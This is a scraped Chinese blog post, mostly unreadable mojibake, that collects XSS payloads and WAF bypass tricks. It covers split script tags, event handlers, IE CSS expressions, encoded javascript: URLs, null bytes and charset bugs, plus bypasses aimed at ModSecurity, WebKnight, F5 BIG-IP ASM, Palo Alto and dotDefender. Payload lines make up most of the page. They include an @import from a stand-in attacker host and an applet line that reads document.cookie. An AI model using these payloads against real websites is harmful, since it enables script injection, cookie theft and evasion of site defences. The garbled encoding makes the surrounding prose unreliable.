<script>alert("XSS""/>

XSS鎻掑叆缁曡繃涓€浜涙柟寮忔€荤粨

Posted pocsecurity

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS鎻掑叆缁曡繃涓€浜涙柟寮忔€荤粨相关的知识,希望对你有一定的参考价值。

0x00 甯歌鎻掑叆鍙婂叾缁曡繃

1 Script 鏍囩

缁曡繃杩涜涓€娆$Щ闄ゆ搷浣滐細
<scr<script>ipt>alert("XSS")</scr<script>ipt>
Script 鏍囩鍙互鐢ㄤ簬瀹氫箟涓€涓鍐呯殑鑴氭湰鎴栬€呬粠鍏朵粬鍦版柟鍔犺浇鑴氭湰锛?br class="mq-7"><script>alert("XSS")</script>
<script ></script>

2  javascript 浜嬩欢

鎴戜滑鍙互鍍忓涓嬭繖鏍峰湪鍏冪礌涓畾涔?JavaScript 浜嬩欢锛?br class="mq-13"><div onclick="alert('xss')">
杩欎釜 JavaScript 浠g爜褰撴湁浜虹偣鍑诲畠鍚庡氨浼氳鎵ц锛屽悓鏃惰繕鏈夊叾浠栦簨浠跺椤甸潰鍔犺浇鎴栫Щ鍔ㄩ紶鏍囬兘鍙互瑙﹀彂杩欎簺浜嬩欢銆傜粷澶ч儴鍒嗙殑鏃堕棿閮借杩囨护鍣ㄦ墍绉婚櫎浜嗭紝浣嗘槸渚濇棫杩樻湁灏戦噺浜嬩欢娌℃湁琚繃婊わ紝渚嬪锛宱nmouseenter 浜嬩欢锛?lt;div onmouseenter="alert('xss')">褰撶敤鎴烽紶鏍囩Щ鍔ㄥ埌 div 涓婃椂灏变細瑙﹀彂鎴戜滑鐨勪唬鐮併€?br class="mq-16">鍙︿竴涓粫杩囩殑鍔炴硶灏辨槸鍦ㄥ睘鎬у拰= 涔嬮棿鎻掑叆涓€涓┖鏍硷細
<div onclick ="alert('xss')">

3 琛屽唴鏍峰紡(Inline style)

鎴戜滑鍚屾牱鍙互鍦ㄨ鍐呮牱寮忛噷鍒╃敤 IE 娴忚鍣ㄦ敮鎸佺殑鍔ㄦ€佺壒鎬э細
<div style="color: expression(alert('XSS'))">
杩囨护鍣ㄤ細妫€鏌ュ叧閿瓧 style锛岄殢鍚庤窡闅忕殑涓嶈兘鏄?<锛屽湪闅忓悗鏄?expression锛?br class="mq-24">/style=[^<]*((expression\s*? [<]鈭?/span>? [ < ] 鈭? ? )|(behavior\s*:))[^<]*(?=\>)/Uis
鎵€浠ワ紝璁╂垜浠渶瑕佹妸 < 鏀惧埌鍏朵粬鍦版柟锛?br class="mq-46"><div style="color: '<'; color: expression(alert('XSS'))">

4 CSS import

IE 娴忚鍣ㄦ敮鎸佸湪 CSS 涓墿灞?JavaScript锛岃繖绉嶆妧鏈О涓哄姩鎬佺壒鎬?dynamic properties)銆傚厑璁告敾鍑昏€呭姞杞戒竴涓閮?CSS 鏍峰紡琛ㄦ槸鐩稿綋鍗遍櫓鐨勶紝鍥犱负鏀诲嚮鑰呯幇鍦ㄥ彲浠ュ湪鍘熷椤甸潰涓墽琛?JavaScript 浠g爜浜嗐€?br class="mq-51"><style>
@import url("http://attacker.org/malicious.css");
</style>
malicious.css锛?br class="mq-55">body {
    color: expression(alert('XSS'));
}
涓轰簡缁曡繃瀵?@import 鐨勮繃婊わ紝鍙互鍦?CSS 涓娇鐢ㄥ弽鏂滄潬杩涜缁曡繃锛?br class="mq-59"><style>
@imp\ort url("http://attacker.org/malicious.css");
</style>
IE 娴忚鍣ㄤ細鎺ュ彈鍙嶆枩鏉狅紝浣嗘槸鎴戜滑缁曡繃浜嗚繃婊ゅ櫒銆?/span>

5 Javascript URL

閾炬帴鏍囩閲屽彲浠ラ€氳繃鍦?URL 涓娇鐢?javascript:鈥?鏉ユ墽琛?JavaScript锛?br class="mq-67"><a href="javascript:alert('test')">link</a>
涓婇潰鐨勮繃婊や細浠庝唬鐮佷腑绉婚櫎 javascript:锛屾墍浠ユ垜浠笉鑳界洿鎺ヨ繖涔堝啓浠g爜銆備絾鎴戜滑鍙互灏濊瘯鏀瑰彉 javascript:鐨勫啓娉曪紝浣垮畠渚濇棫鍙互琚祻瑙堝櫒鎵ц浣嗗張涓嶅尮閰嶆鍒欒〃杈惧紡銆傞鍏堟潵灏濊瘯涓?URL 缂栫爜锛?br class="mq-69"><a href="java&#115;cript:alert('xss')">link</a>
涓婇潰杩欐浠g爜涓嶅尮閰嶆鍒欒〃杈惧紡锛屼絾鏄祻瑙堝櫒渚濇棫浼氭墽琛屽畠锛屽洜涓烘祻瑙堝櫒浼氶鍏堣繘琛?URL 瑙g爜鎿嶄綔銆?br class="mq-71">鍙﹀锛屾垜浠繕鍙互浣跨敤 VBScript锛岃櫧鐒跺畠鍦?IE11 涓绂佺敤浜嗭紝浣嗕緷鏃у彲浠ヨ繍琛屽湪鏃х増鏈殑 IE 鎴栬€呭惎鐢ㄥ吋瀹规ā寮忕殑 IE11 涓娿€傛垜浠彲浠ヤ娇鐢ㄧ被浼间笂闈?JavaScript 鐨勬柟寮忔潵鎻掑叆 VBScript 浠g爜锛?br class="mq-72"><a href='vbscript:MsgBox("XSS")'>link</a>
'-confirm`1`-'

'-confirm(1)-'

1 鍒╃敤瀛楃缂栫爜

%c1;alert(/xss/);//

2 缁曡繃闀垮害闄愬埗

"onclick=alert(1)//
"><!--
--><script>alert(xss);<script>

3 浣跨敤<base>鏍囩

<script>alert(navigator.userAgent)<script>
<script>alert(88199)</script>
<script>confirm(88199)</script>
<script>prompt(88199)</script>
<script>\u0061\u006C\u0065\u0072\u0074(88199)</script>
<script>+alert(88199)</script>
<script>alert(/88199/)</script>
<script src=data:text/javascript,alert(88199)></script>
<script src=&#100&#97&#116&#97:text/javascript,alert(88199)></script>
<script>alert(String.fromCharCode(49,49))</script>
<script>alert(/88199/.source)</script>
<script>setTimeout(alert(88199),0)</script>
<script>document['write'](88199);</script>

<anytag onmouseover=alert(15)>M
<anytag onclick=alert(16)>M
<a onmouseover=alert(17)>M
<a onclick=alert(18)>M
<a href=javascript:alert(19)>M
<button/onclick=alert(20)>M
<form><button
formaction=javascript&colon;alert(21)>M
<form/action=javascript:alert(22)><input/type=submit>
<form onsubmit=alert(23)><button>M
<form onsubmit=alert(23)><button>M
<img src=x onerror=alert(24)> 29
<body/onload=alert(25)>

<body
onscroll=alert(26)><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<input autofocus>

<iframe ></iframe>
<iframe/onload=alert(document.domain)></iframe>
<IFRAME SRC="javascript:alert(29);"></IFRAME>
<meta http-equiv="refresh" content="0;
url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2830%29%3C%2%73%63%72%69%70%74%3E">
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>
<object data="javascript:alert(document.domain)">


<marquee onstart=alert(30)></marquee>
<isindex type=image src=1 onerror=alert(31)>
<isindex action=javascript:alert(32) type=image>
<input onfocus=alert(33) autofocus>
<input onblur=alert(34) autofocus><input autofocus>

0x02 瑙勫垯鎺㈡祴鍙婄粫杩?/span>

1 WAF瑙勫垯鎺㈡祴

1銆佷娇鐢ㄦ棤瀹崇殑payload锛岀被浼?lt;b>,<i>,<u>瑙傚療鍝嶅簲锛屽垽鏂簲鐢ㄧ▼搴忔槸鍚﹁HTML缂栫爜锛屾槸鍚︽爣绛捐杩囨护锛屾槸鍚﹁繃婊?lt;>绛夌瓑锛?br class="mq-144">2銆佸鏋滆繃婊ら棴鍚堟爣绛撅紝灏濊瘯鏃犻棴鍚堟爣绛剧殑payload锛?lt;b,<i,<marquee锛夎瀵熷搷搴旓紱
3銆佸皾璇曚互涓嬬殑payload
<script>alert(1);</script>
<script>prompt(1);</script>
<script>confirm      (1);</script>

<script >

2 澶у皬鍐欐贩鍚堝瓧绗?/span>

<scRiPt>alert(1);</scrIPt>
1銆佸鏋滃ぇ灏忓啓涓嶈鐨勮瘽锛?lt;script>琚繃婊ゅ皾璇?lt;scr<script>ipt>alert(1)</scr<script>ipt>锛?br class="mq-157">2銆佷娇鐢?lt;a>鏍囩娴嬭瘯
<a  href=鈥渉ttp://www.google.com">Clickme</a>
<a琚繃婊わ紵
href琚繃婊わ紵
鍏朵粬鍐呭琚繃婊わ紵
濡傛灉娌℃湁杩囨护灏濊瘯浣跨敤
<a href=鈥漥avascript:alert(1)鈥?gt;Clickme</a>
灏濊瘯浣跨敤閿欒鐨勪簨浠舵煡鐪嬭繃婊?br class="mq-165"><a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>
HTML5鎷ユ湁150涓簨浠跺鐞嗗嚱鏁帮紝鍙互澶氬皾璇曞叾浠栧嚱鏁?br class="mq-167"><body/onhashchange=alert(1)><a href=#>clickit

3 娴嬭瘯鍏朵粬鏍囩

src灞炴€?/span>
<img src=x      onerror=prompt(1);>
<img/src=aaa.jpg      onerror=prompt(1);
<video src=x      onerror=prompt(1);>
<audio src=x      onerror=prompt(1);>
iframe
<iframesrc="javascript:alert(2)">
<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
Embed
<embed/src=//goo.gl/nlX0P>
Action
<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<isindex action=data:text/html, type=image>
mario楠岃瘉
<span class="pln">    </span><span class="tag">&lt;formaction</span><span class="pun">=</span><span class="atv">&amp;#039;data:text&amp;sol;html,&amp;lt;script&amp;gt;alert(1)&amp;lt/script&amp;gt&amp;#039;</span><span class="tag">&gt;&lt;button&gt;</span><span class="pln">CLICK</span>
鈥渇ormaction鈥濆睘鎬?/span>
<isindexformaction="javascript:alert(1)"      type=image>
<input type="image" formaction=JaVaScript:alert(0)>
 <form><button formaction=javascript&colon;alert(1)>CLICKME
鈥渂ackground鈥濆睘鎬?/span>
<table background=javascript:alert(1)></table> // Works on Opera 10.5      and IE6
鈥減osters鈥?灞炴€?/span>
<video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5
鈥渄ata鈥濆睘鎬?/span>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?
鈥渃ode鈥濆睘鎬?/span>
<applet code="javascript:confirm(document.cookie);"> // Firefox Only
<embed  code="http://businessinfo.co.uk/labs/xss/xss.swf"      allowscriptaccess=always>
浜嬩欢澶勭悊
<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/
<body onload=prompt(1);>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">
鐭璸ayload
<q/oncut=open()>
<q/oncut=alert(1)> //      Useful in-case of payload restrictions.
宓屽娆洪獥
<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
<body  language=vbsonload=alert-1 // Works with IE8
<command onmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x6    9\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command>      // Works with IE8
鍦嗘嫭鍙疯杩囨护
<a onmouseover="javascript:window.onerror=alert;throw 1>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<body/onload=javascript:window.onerror=eval;throw&#039;=alert\x281\x29&#039;;
Expression 灞炴€?/span>
<img style="xss:expression(alert(0))"> // Works upto IE7.
<div style="color:rgb(&#039;&#039;x:expression(alert(1))"></div>      // Works upto IE7.
<style>#test{x:expression(alert(/XSS/))}</style>      // Works upto IE7
鈥渓ocation鈥濆睘鎬?/span>
<a onmouseover=location=鈥檍avascript:alert(1)>click
<body onfocus="location=&#039;javascrpt:alert(1) >123
鍏朵粬Payload
<meta http-equiv="refresh"      content="0;url=//goo.gl/nlX0P">
<meta http-equiv="refresh"      content="0;javascript&colon;alert(1)"/>
<svg xmlns="http://www.w3.org/2000/svg"><g      onload="javascript:\u0061lert(1);"></g></svg> //      By @secalert
<svg xmlns:xlink=" r=100 /><animate attributeName="xlink:href"      values=";javascript:alert(1)" begin="0s"      dur="0.1s" fill="freeze"/> // By Mario
<svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"</svg>      // By @secalert
<meta content="&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click // By Ashar Javed
锛堬級锛涳細琚繃婊?/span>
<svg><script>alert&#40/1/&#41</script>      // Works With All Browsers
( is html encoded to &#40
 ) is html encoded to &#41
Opera鐨勫彉閲?/span>
<svg><script>alert&#40      1&#41 // Works with Opera Only
瀹炰綋瑙g爜
&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
<a  href="j&#x26;#x26#x41;vascript:alert%252831337%2529">Hello</a>
缂栫爜
JavaScript鏄緢鐏垫椿鐨勮瑷€锛屽彲浠ヤ娇鐢ㄥ崄鍏繘鍒躲€乁nicode銆丠TML绛夎繘琛岀紪鐮侊紝浠ヤ笅灞炴€у彲浠ヨ缂栫爜
锛堟敮鎸丠TML, Octal, Decimal,Hexadecimal, and Unicode锛?br class="mq-269">href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //鍙敮鎸乥ase64

4 鍩轰簬涓婁笅鏂囩殑杩囨护

WAF鏈€澶х殑闂鏄笉鑳界悊瑙e唴瀹癸紝浣跨敤榛戝悕鍗曞彲浠ラ樆鎸$嫭绔嬬殑js鑴氭湰锛屼絾浠嶄笉鑳藉xss鎻愪緵瓒冲鐨勪繚鎶わ紝濡傛灉涓€涓弽灏勫瀷鐨刋SS鏄笅闈㈣繖绉嶅舰寮?br class="mq-284">

1 杈撳叆鍙嶅皠灞炴€?/span>

2 闈炲父瑙勪簨浠剁洃鍚?/span>

DOMfocusin,DOMfocusout,绛変簨浠讹紝杩欎簺闇€瑕佺壒瀹氱殑浜嬩欢鐩戝惉閫傚綋鐨勬墽琛屻€備緥濡傦細
";document.body.addEventListener("DOMActivate",alert(1))//
";document.body.addEventListener("DOMActivate",prompt(1))//
";document.body.addEventListener("DOMActivate",confirm(1))//
姝ょ被浜嬩欢鐨勫垪琛?br class="mq-295">DOMAttrModified
DOMCharacterDataModified
DOMFocusIn
DOMFocusOut
DOMMouseScroll
DOMNodeInserted
DOMNodeInsertedIntoDocument
DOMNodeRemoved
DOMNodeRemovedFromDocument
DOMSubtreeModified

3 瓒呮枃鏈唴瀹?/span>

浠g爜涓殑鎯呭喌濡備笅
<a
href=鈥漊serinput鈥?gt;Click</a>
鍙互浣跨敤javascript:alert(1)//鐩存帴鎵ц<a
href=鈥漥avascript:alert(1)//鈥?gt;Click</a>

4 鍙樺舰

涓昏鍖呭惈澶у皬鍐欏拰JavaScript鍙樺舰
javascript&#058;alert(1)
javaSCRIPT&colon;alert(1)
JaVaScRipT:alert(1)
javas&Tab;cript:\u0061lert(1);
javascript:\u0061lert&#x28;1&#x29
avascript&#x3A;alert&lpar;document&period;cookie&rpar;      // AsharJaved
IE10浠ヤ笅鍜孶RI涓彲浠ヤ娇鐢╒BScript
vbscript:alert(1);
vbscript&#058;alert(1);
vbscr&Tab;ipt:alert(1)"
Data URl
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

5 JSON鍐呭

鍙嶅皠杈撳叆
encodeURIComponent(&#039;userinput&#039;)
鍙互浣跨敤
-alert(1)-
-prompt(1)-
-confirm(1)-
缁撴灉
encodeURIComponent(&#039;&#039;-alert(1)-&#039;&#039;)
encodeURIComponent(&#039;&#039;-prompt(1)-&#039;&#039;)

6 杈撳叆鍙嶅皠鍦╯vg鏍囩鍐?/span>

婧愮爜濡備笅锛?br class="mq-349"><svg><script>varmyvar=鈥漎ourInput鈥?</script></svg>
鍙互杈撳叆
www.site.com/test.php?var=text鈥?alert(1)//
濡傛灉绯荤粺缂栫爜浜嗏€濆瓧绗?br class="mq-353"><svg><script>varmyvar="text&quot;;alert(1)//";</script></svg>
鍘熷洜鏄紩鍏ヤ簡闄勫姞鐨勶紙XML锛夊埌HTML鍐呭閲岋紝鍙互浣跨敤2娆$紪鐮佸鐞?br class="mq-355">娴忚鍣˙UG

7 瀛楃闆咮UG

瀛楃闆咮UG鍦↖E涓緢鏅亶锛屾渶鏃╃殑bug鏄疷TF-7銆傚鏋滆兘鎺у埗瀛楃闆嗙紪鐮侊紝鎴戜滑鍙互缁曡繃99% 鐨刉AF杩囨护銆?br class="mq-361">绀轰緥
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
鍙互鎺у埗缂栫爜锛屾彁浜?br class="mq-364">http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=鈥?gt;<img
src=x onerror=prompt(0);>
鍙互淇敼涓篣TF-32缂栫爜褰㈠紡
???script?alert(1)?/script?
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

8 绌哄瓧鑺?/span>

鏈€闀跨敤鏉ョ粫杩噈od_security闃茬伀澧欙紝褰㈠紡濡備笅锛?br class="mq-374"><scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
绌哄瓧鑺傚彧閫傜敤浜嶱HP 5.3.8浠ヤ笂鐨勭増鏈?br class="mq-378">

9 璇硶BUG

RFC澹版槑涓妭鐐瑰悕绉颁笉鑳芥槸绌烘牸锛屼互涓嬬殑褰㈠紡鍦╦avascript涓笉鑳借繍琛?br class="mq-383"><script>alert(1);</script>
<%0ascript>alert(1);</script>
<%0bscript>alert(1);</script>
<%, <//, <!,<?鍙互琚В鏋愭垚<锛屾墍浠ュ彲浠ヤ娇鐢ㄤ互涓嬬殑payload
<//     style=x:expression\28write(1)\29> // Works upto IE7 鍙傝€僪ttp://html5sec.org/#71
<!--[if]><script>alert(1)</script     --> // Works upto IE9 鍙傝€僪ttp://html5sec.org/#115
<?xml-stylesheet     type="text/css"?><root     style="x:expression(write(1))"/> // Works in IE7 鍙傝€?http://html5sec.org/#77
<%div%20style=xss:expression(prompt(1))>     // Works Upto IE7

10 Unicode鍒嗛殧绗?/span>

[on\w+\s*]杩欎釜瑙勫垯杩囨护浜嗘墍鏈塷n浜嬩欢锛屼负浜嗛獙璇佹瘡涓祻瑙堝櫒涓湁鏁堢殑鍒嗛殧绗︼紝鍙互浣跨敤fuzzing鏂规硶娴嬭瘯0脳00鍒?xff锛岀粨鏋滃涓嬶細
IExplorer=     [0x09,0x0B,0x0C,0x20,0x3B]
Chrome =     [0x09,0x20,0x28,0x2C,0x3B]
Safari = [0x2C,0x3B]
FireFox=     [0x09,0x20,0x28,0x2C,0x3B]
Opera = [0x09,0x20,0x2C,0x3B]
android =     [0x09,0x20,0x28,0x2C,0x3B]
x0b鍦∕od_security涓凡缁忚杩囨护锛岀粫杩囩殑鏂规硶锛?br class="mq-403"><a/onmouseover[\x0b]=location=&#039;\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B&#039;>rhainfosec

11 缂哄皯X-frame閫夐」

閫氬父浼氳涓篨-frame鏄敤鏉ラ槻鎶ょ偣鍑诲姭鎸佺殑閰嶇疆锛屽叾瀹炰篃鍙互闃叉姢浣跨敤iframe寮曠敤鐨剎ss婕忔礊
Docmodes
IE寮曞叆浜哾oc-mode寰堥暱鏃堕棿锛屾彁渚涚粰鑰佺増鏈祻瑙堝櫒鐨勫悗绔吋瀹规€э紝鏈夐闄╋紝鏀诲嚮鎯呮櫙鏄粦瀹㈠彲浠ュ紩鐢ㄤ綘绔欑偣鐨勬鏋讹紝浠栧彲浠ュ紩鍏oc-mode鎵цcss琛ㄨ揪寮?br class="mq-411">expression(open(alert(1)))
浠ヤ笅POC鍙互鎻掑叆鍒癐E7涓?br class="mq-413"><html>
    <body>
    <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
    <iframesrc="https://targetwebsite.com">
    </body>
    </html>

12 Window.name娆洪獥

鎯呮櫙锛氭垜浠敤iframe鍔犺浇涓€涓〉闈紝鎴戜滑鍙互鎺у埗绐楀彛鐨勫悕绉帮紝杩欓噷涔熷彲浠ユ墽琛宩avascript浠g爜
POC
<iframesrc=&#039;http://www.target.com?foo="xss  autofocus/AAAAA  onfocus=location=window.name//&#039;
name="javascript:alert("XSS")"></iframe>
DOM鍨媂SS
鏈嶅姟鍣ㄤ笉鏀寔杩囨护DOM鍨嬬殑XSS锛屽洜涓篋OM鍨媂SS鎬绘槸鍦ㄥ鎴风鎵ц锛岀湅涓€涓緥瀛愶細
<script>
    vari=location.hash;
    document.write(i);
    </script>
鍦ㄤ竴浜涙儏鍐典笅锛屽弽灏勫瀷XSS鍙互杞崲鎴怐OM鍨媂SS锛?br class="mq-434">http://www.target.com/xss.php?foo=<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()
涓婇潰鐨凱OC鍙湪[.+閮借鍏佽鐨勬儏鍐典笅閫傜敤锛屽彲浠ヤ娇鐢╨ocation.hash娉ㄥ叆浠讳綍涓嶅厑璁哥殑缂栫爜
Location.hash[1] = :  // Defined at the first position after     the hash.
Location.hash[2]= (  // Defined at the second position after     the has
Location.hash[3] = ) // Defined     at third position after the hash.
濡傛灉鏈夊鎴风杩囨护鍙兘涓嶉€傜敤

13 ModSecurity缁曡繃

<scri%00pt>confirm(0);</scri%00pt>
<a/onmouseover[\x0b]=location=&#039;\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B&#039;>rhainfosec
鍙傝€僪ttp://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html

5 WEB KNIGHT缁曡繃

<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
F5 BIG IP ASM and Palo ALTO缁曡繃
<table background="javascript:alert(1)"></table> //IE6鎴栬€呬綆鐗堟湰Opera
    鈥?><marquee  onfinish=confirm(123)>a</marquee>
Dot Defender缁曡繃
<svg/onload=prompt(1);> 
<isindex action="javas&tab;cript:alert(1)" type=image>

<marquee/onstart=confirm(2)>

0x03缁撹

榛戝悕鍗曟柟寮忔案杩滀笉鏄渶濂界殑瑙e喅鍔炴硶锛屼絾鏄浉瀵逛笌鐧藉悕鍗曟晥鐜囧緢楂橈紝瀵逛簬WAF渚涘簲鍟嗘潵璇达紝鏈€濂界殑瀹炶返濡備笅锛?br class="mq-466">1銆佸紑鍙戣€呭拰绠$悊鍛樿娉ㄦ剰WAF鍙兘缂撹В鏀诲嚮锛屽苟涓旈拡瀵瑰凡鐭ョ殑寮辩偣鐨勯槻鎶ゅ彧鏄拰婧愪唬鐮佷慨澶嶇殑鏂规硶鎵撲釜鏃堕棿宸紱
2銆佽淇濇寔WAF鐨勮鍒欏簱鏇存柊锛?br class="mq-468">3銆乄AF鍙互閰嶇疆鍙傛暟闄愬埗锛岄渶瑕佹彁渚涙墜鍐岀敤浜庨厤缃弬鏁癱ontent-length鏈€澶ф渶灏忛暱搴︼紝content-type绫诲瀷锛屽湪鍏ヤ镜鏃惰繘琛屽憡璀︼紱

4銆佸鏋淲AF渚濇嵁榛戝悕鍗曪紝瑕佺‘淇濆彲浠ラ樆鏂凡鐭ョ殑娴忚鍣˙UG锛屽苟涓旂浉搴旇鍒欏簱瑕佸強鏃舵洿鏂般€?/span>


以上是关于XSS鎻掑叆缁曡繃涓€浜涙柟寮忔€荤粨的主要内容,如果未能解决你的问题,请参考以下文章

鎼滅储鎻掑叆浣嶇疆

鎻掑叆鎺掑簭

寤烘ā鏁欎綘鐢ㄦ帓搴忕畻娉曟挬濡光€曗€昇O.1鎻掑叆鎺掑簭

鍥捐В | Leetcode #35 鎼滅储鎻掑叆浣嶇疆

鎻掑叆鎺掑簭浠g爜鍒嗘瀽

mongodb for寰幆鎻掑叆鏁版嵁